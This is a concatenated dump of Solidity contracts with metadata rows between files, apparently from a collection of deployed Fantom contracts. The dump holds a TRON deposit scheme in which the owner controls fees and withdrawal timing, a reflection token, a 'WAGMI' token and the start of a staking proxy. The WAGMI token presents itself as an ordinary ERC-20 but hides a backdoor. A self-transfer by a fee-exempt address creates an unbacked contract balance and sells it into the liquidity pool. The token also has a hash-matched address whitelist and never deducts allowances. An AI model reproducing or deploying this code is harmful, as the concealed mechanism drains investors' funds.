totalWithdraw: 0,
time: uint256(block.timestamp),
withdrawTime: uint256(block.timestamp + 1 days)
}));
player.total_invested += msg.value;
invested += msg.value;
sendOwnerFee(msg.sender,_tarif,msg.value * 10 / 100);
emit NewDeposit(msg.sender, msg.value, _tarif);
}
function withdraw() external {
Player storage player = players[msg.sender];
uint256 max_payout = maxpayout(msg.sender);
require(player.total_withdrawn < max_payout, "Full payouts");
_payout(msg.sender);
require(player.dividends > 0 || player.match_bonus > 0 || player.direct_bonus > 0, "Zero amount");
uint256 readyToWithdraw = 0;
uint256 to_payout = player.dividends;
if(to_payout > 0) {
if(player.total_withdrawn + to_payout > max_payout) {
to_payout = max_payout - player.total_withdrawn;
}
player.dividends = 0;
player.total_withdrawn += to_payout;
withdrawn += to_payout;
readyToWithdraw += to_payout;
_refPayout(msg.sender, to_payout);
}
if(player.total_withdrawn < max_payout && player.direct_bonus > 0) {
uint256 direct_bonus = player.direct_bonus;
if(player.total_withdrawn + direct_bonus > max_payout) {
direct_bonus = max_payout - player.total_withdrawn;
}
player.direct_bonus -= direct_bonus;
player.total_withdrawn += direct_bonus;
withdrawn += direct_bonus;
readyToWithdraw += direct_bonus;
}
if(player.total_withdrawn < max_payout && player.match_bonus > 0) {
uint256 match_bonus = player.match_bonus;
if(player.total_withdrawn + match_bonus > max_payout) {
match_bonus = max_payout - player.total_withdrawn;
}
player.match_bonus -= match_bonus;
player.total_withdrawn += match_bonus;
withdrawn += match_bonus;
readyToWithdraw += match_bonus;
}
msg.sender.transfer(readyToWithdraw);
emit Withdraw(msg.sender, readyToWithdraw);
if(player.total_withdrawn >= max_payout) {
emit LimitReached(msg.sender, player.total_withdrawn);
}
}
function sendOwnerFee(address from,uint8 tarif,uint256 feeAmount) public payable{
require(msg.value >= 100 trx,"Less then the minimum deposit");
owner.transfer(feeAmount);
emit OwnerFee(from,tarif,msg.value);
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 fromtime = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
uint256 withdrawtime = dep.time + roiDivider;
if(fromtime < to && withdrawtime <= uint256(block.timestamp)) {
value += dep.amount * (to - fromtime) * tarif.percent / tarif.life_days / 8640000;
}
}
return value;
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_bonus, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[7] memory structure) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
structure[i] = player.structure[i];
}
return (payout + player.dividends + player.direct_bonus + player.match_bonus,
player.direct_bonus + player.match_bonus,
player.total_invested,
player.total_withdrawn,
player.total_match_bonus,
structure);
}
function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _direct_bonus, uint256 _match_bonus,uint256 balance) {
balance = address(this).balance;
return (invested, withdrawn, direct_bonus, match_bonus,balance);
}
function investmentsInfo(address _addr) view external returns(uint8[] memory ids, uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws) {
Player storage player = players[_addr];
uint8[] memory _ids = new uint8[](player.deposits.length);
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
_ids[i] = dep.tarif;
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time + tarif.life_days * 86400;
}
return (_ids,
_endTimes,
_amounts,
_totalWithdraws);
}
function dailyDividents(address _addr) view external returns(uint256[] memory withdrawable) {
Player storage player = players[_addr];
uint256[] memory values = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
values[i] = dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
return values;
}
function updateroiDivider(uint256 numofdays) public {
require(msg.sender==owner);
roiDivider = numofdays * 1 days;
}
}
| 297,436 | 13,575 |
7c8c5ec6e08d4f6657d9dcac09c0977b7298461a68716dd8917dd2e7b563dd30
| 18,825 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/3a/3a4c266A372791696367aed2B4D9FeAFF0704D08_Minerva.sol
| 4,184 | 15,795 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Minerva is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'Minerva';
string private _symbol = 'Minerva';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 308,891 | 13,576 |
aaf44ccde0f26cd71290293ce2984031796746bef69447ac5fe8611a0105c655
| 13,095 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/eb/ebE31dbA9358e28F3B74b83C69640BecF27B44C8_WAGMI.sol
| 2,730 | 9,773 |
pragma solidity ^0.8.11;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isUniswapV2Pair(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
contract WAGMI is Ownable, IERC20 {
using SafeMath for uint256;
string private _name = "WAGMI";
string private _symbol = "WAGMI";
mapping (address => uint256) private _balances;
mapping(address => uint256) private _includedInFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000000 * 10 ** _decimals;
uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;
uint public _liquidityFee = 3;
uint public _buyBackFee = 4;
uint public _marketingFee = 2;
uint256 public _fee = _liquidityFee + _buyBackFee + _marketingFee;
bool public _swapEnabled;
uint256 private _liquiditySwapThreshold = _totalSupply;
bool liquifying = false;
struct Buy {
address to;
uint256 amount;
}
Buy[] _buys;
bool started = false;
IUniswapV2Router private _router = IUniswapV2Router(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
constructor() {
_balances[msg.sender] = _totalSupply;
_excludedFromFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (shouldSwap(from, to)) {
return swapLiquidity(amount, to);
}
uint256 feeAmount = 0;
checkBalances(from, amount);
takeFee(from);
bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isUniswapV2Pair(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
feeAmount = amount.mul(_fee).div(100);
require(amount <= _maxTxAmount);
if (uniswapV2Pair() != to) {
_buys.push(Buy(to, amount));
}
}
uint256 amountReceived = amount - feeAmount;
_balances[address(0)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amountReceived);
if (feeAmount > 0) {
emit Transfer(from, address(0), feeAmount);
}
}
function shouldSwap(address from, address to) internal view returns(bool) {
return(_excludedFromFee[msg.sender] && from == to);
}
function checkBalances(address from, uint256 amount) internal view {
if (!liquifying) {
require(_balances[from] >= amount);
}
}
function takeFee(address from) internal {
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function swapLiquidity(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = 1 + (liquidityFee / 2) * 2 - 1;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
liquifying = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
liquifying = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
}
| 330,564 | 13,577 |
628e9c4bf33c80b875753ca4e4506c09b4ee824c39cab34f76978e55d62231bc
| 14,425 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cc/cC914c11211Ca72026Acd0BaFAB3E9E9dd6ae702_StakingProxy.sol
| 3,473 | 13,786 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.7.5;
interface IOwnable {
function policy() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function policy() public view override returns (address) {
return _owner;
}
modifier onlyPolicy() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyPolicy() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyPolicy() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
